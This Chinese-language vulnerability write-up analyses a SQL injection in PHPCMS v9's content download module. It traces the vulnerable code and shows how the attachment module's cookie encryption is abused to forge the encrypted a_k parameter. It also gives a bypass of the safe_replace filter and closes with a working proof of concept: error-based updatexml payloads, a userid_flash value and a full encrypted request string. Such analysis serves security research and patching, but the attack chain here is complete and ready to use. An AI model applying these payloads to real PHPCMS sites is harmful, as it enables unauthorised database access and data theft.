前言
phpcmsv9的sql注入漏洞
漏洞分析
漏洞触发点
实际上这个是一个后台的漏洞.
首先漏洞的触发点./phpcms/modules/content/down.php::init()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | public function init() {$a_k = trim($_GET['a_k']);
 if(!isset($a_k)) showmessage(L('illegal_parameters'));
 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
 if(empty($a_k)) showmessage(L('illegal_parameters'));
 unset($i,$m,$f);
 parse_str($a_k);
 if(isset($i)) $i = $id = intval($i);
 if(!isset($m)) showmessage(L('illegal_parameters'));
 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
 if(empty($f)) showmessage(L('url_invalid'));
 $allow_visitor = 1;
 $MODEL = getcache('model','commons');
 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
 $this->db->table_name = $tablename.'_data';
 $rs = $this->db->get_one(array('id'=>$id));
 $siteids = getcache('category_content','commons');
 $siteid = $siteids[$catid];
 $CATEGORYS = getcache('category_content_'.$siteid,'commons');
 
 $this->category = $CATEGORYS[$catid];
 $this->category_setting = string2array($this->category['setting']);
 ...
 ...
 ...
 
 | 
$a_k由GET请求获得.$a_k要解密,所以说$a_k是一段密文.
| 1
 | $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
 | 
然后$a_k经过parse_str()获得$i,$m,$modelid,$catid,$f,$id
其中关键代码:
| 1
 | $rs = $this->db->get_one(array('id'=>$id));
 | 
| 12
 3
 4
 
 | final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);
 return $this->db->get_one($data, $this->table_name, $where, $order, $group);
 }
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | final public function sqls($where, $font = ' AND ') {if (is_array($where)) {
 $sql = '';
 foreach ($where as $key=>$val) {
 $sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
 }
 return $sql;
 } else {
 return $where;
 }
 }
 
 | 
select * from where  id= 'xxx'单引号字符型注入.
payload如下:
| 1
 | id=%27 and updatexml(1,concat(1,user())),1)
 | 
根据$id进行查查询,返回结果.在这里没有进行字符串的过滤,所以存在一定的sql注入漏洞.
那么这个漏洞的触发方式:
| 1
 | ?m=content&c=down&a=init&a_k=密文
 | 
构造payload
定位到:./phpcms/modules/attachement/attachements.php::swfupload_json()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 
 | <?php defined('IN_PHPCMS') or exit('No permission resources.');
 $session_storage = 'session_'.pc_base::load_config('system','session_storage');
 pc_base::load_sys_class($session_storage);
 if(param::get_cookie('sys_lang')) {
 define('SYS_STYLE',param::get_cookie('sys_lang'));
 } else {
 define('SYS_STYLE','zh-cn');
 }
 class attachments {
 private $att_db;
 function __construct() {
 pc_base::load_app_func('global');
 $this->upload_url = pc_base::load_config('system','upload_url');
 $this->upload_path = pc_base::load_config('system','upload_path');
 $this->imgext = array('jpg','gif','png','bmp','jpeg');
 $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
 $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
 $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
 
 if(empty($this->userid)){
 showmessage(L('please_login','','member'));
 }
 }
 ...
 ...
 ...
 ...
 
 
 
 
 public function swfupload_json() {
 $arr['aid'] = intval($_GET['aid']);
 $arr['src'] = safe_replace(trim($_GET['src']));
 $arr['filename'] = urlencode(safe_replace($_GET['filename']));
 $json_str = json_encode($arr);
 $att_arr_exist = param::get_cookie('att_json');
 $att_arr_exist_tmp = explode('||', $att_arr_exist);
 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 return true;
 } else {
 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
 param::set_cookie('att_json',$json_str);
 return true;
 }
 }
 ...
 ...
 
 | 
在swfupload_json()中通过GET请求,分别获得aid,src,filename,经过json加密
| 1
 | $json_str = json_encode($arr);
 | 
判断是否已有cookie,由于未有cookie,所以在这里我们设置cookie.
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | $att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);
 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 return true;
 } else {
 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
 param::set_cookie('att_json',$json_str);
 return true;
 }
 
 | 
然后跟进set_cookie()
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
 $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
 $var = pc_base::load_config('system','cookie_pre').$var;
 $_COOKIE[$var] = $value;
 if (is_array($value)) {
 foreach($value as $k=>$v) {
 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
 }
 } else {
 setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
 }
 }
 
 | 
这里使用的加密函数sys_auth(xxx,ENCODE)与解密$a_k的sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'))函数是同一个函数
所以可以在这里生成密文.$_GET[src]可以作为写入payload的地方.只经过safe_replace()函数.
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | 
 
 
 
 
 function safe_replace($string) {
 $string = str_replace('%20','',$string);
 $string = str_replace('%27','',$string);
 $string = str_replace('%2527','',$string);
 $string = str_replace('*','',$string);
 $string = str_replace('"','"',$string);
 $string = str_replace("'",'',$string);
 $string = str_replace('"','',$string);
 $string = str_replace(';','',$string);
 $string = str_replace('<','<',$string);
 $string = str_replace('>','>',$string);
 $string = str_replace("{",'',$string);
 $string = str_replace('}','',$string);
 $string = str_replace('\\','',$string);
 return $string;
 }
 
 | 
构造payload为
| 1
 | ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&
 | 
在构造payload时不要$i这项,否则将会由于以下代码,payload失效.
| 1
 | if(isset($i)) $i = $id = intval($i);
 | 
为绕过safe_replace(),修改paylaod如下:
| 1
 | ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,user())),1)#&m=1&modelid=1&catid=1&f=cookie&
 | 
经过url编码:
| 1
 | ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27%20and%20updatexml(1%2cconcat(1%2cuser()))%2c1)%23%26m%3d1%26modelid%3d1%26catid%3d1%26f%3dcookie%26
 | 
注意
在attachments.php中有这么一段代码
| 12
 3
 4
 5
 
 | 		$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));... ... ...
 if(empty($this->userid)){
 showmessage(L('please_login','','member'));
 }
 
 | 
这里需要认证,认证是否为管理员用户登录
获得userid_flash的方法
定位./phpcms/modules/wap/index.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | class index {function __construct() {
 $this->db = pc_base::load_model('content_model');
 $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
 param::set_cookie('siteid',$this->siteid);
 $this->wap_site = getcache('wap_site','wap');
 $this->types = getcache('wap_type','wap');
 $this->wap = $this->wap_site[$this->siteid];
 define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
 if($this->wap['status']!=1) exit(L('wap_close_status'));
 }
 
 | 

poc
生成密文:
| 12
 3
 
 | ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1%2cconcat(1%2c(user()))%2c1)%23%26m%3d1%26f%3dcookie%26modelid%3d1%26catid%3d1%26
 POST:userid_flash=369b_CwjZql56-b8HtNPMGzWLTEj3sQF4h1VLxYY
 
 | 

| 1
 | ?m=content&c=down&a=init&a_k=6c09EmoZrtqeCKGWcv5iTTkQNeo0bVuMegMOvaPLNZ6SEeyG5sK0TxNum_xlEkgbv6lthq3oE18R3-XpRSPrH7sGkoPxbI1bFePqHtcAMMKV5BpYJq3NE-HNZgT_4xlDmk7mDtHjcg798pB7wQx4i-IPN6mOFQtXIdkxhz1i3KdZViOX0UcU8oNVWDOEmYKLl69Ftjn_HGUw3r5mGa8ikLbbP-rdWhC0QfJMg4sUC9eDJyzuOlZRu7kkEyCzKf-6oF8Che9kYnGOAsWmgxuhkY7uqndWSZQBFKxUkksklkoTtZG7qIv-lUZhNPg25ateNkESCJSZPxHRCCtfArr-_i5lTy5uA0yN9pEr6wtsMs8j_mz9xAd0rur08gw_xUVv6y7AMdzfMUjQhUhr6gDPcgUZWplKDwsZBWKUOV-ROmJS4I9EJ94sstd-KRCiwLe85YrQWvHTJuzzy2ZNFCAkDghc__b-hzy8
 | 
